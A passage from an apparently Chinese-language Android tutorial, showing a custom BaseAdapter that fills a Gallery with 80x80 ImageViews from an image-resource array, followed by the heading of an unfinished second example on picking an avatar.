} }); } class MyImgAdapter extends BaseAdapter {      //自定义图片Adapter以内部类形式存在于MainActivity中,方便访问MainActivity中的各个变量,特别是imgs数组 private Context context;//用于接收传递过来的Context对象 public MyImgAdapter(Context context) { super(); this.context = context; } /* (non-Javadoc) * @see android.widget.Adapter#getCount() */ @Override public int getCount() { return imgs.length; } /* (non-Javadoc) * @see android.widget.Adapter#getItem(int) */ @Override public Object getItem(int position) { return position; } /* (non-Javadoc) * @see android.widget.Adapter#getItemId(int) */ @Override public long getItemId(int position) { return position; } /* (non-Javadoc) * @see android.widget.Adapter#getView(int, android.view.View, android.view.ViewGroup) */ @Override public View getView(int position, View convertView, ViewGroup parent) { //针对每一个数据(即每一个图片ID)创建一个ImageView实例, ImageView iv = new ImageView(context);//针对外面传递过来的Context变量, iv.setImageResource(imgs[position]); Log.i("magc", String.valueOf(imgs[position])); iv.setLayoutParams(new Gallery.LayoutParams(80, 80));//设置Gallery中每一个图片的大小为80*80。 iv.setScaleType(ImageView.ScaleType.FIT_XY); return iv; } } }
示例2:通过一个提示框来选择头像的功能(Gallery和ImageSwitcher结合显示图片)
待续……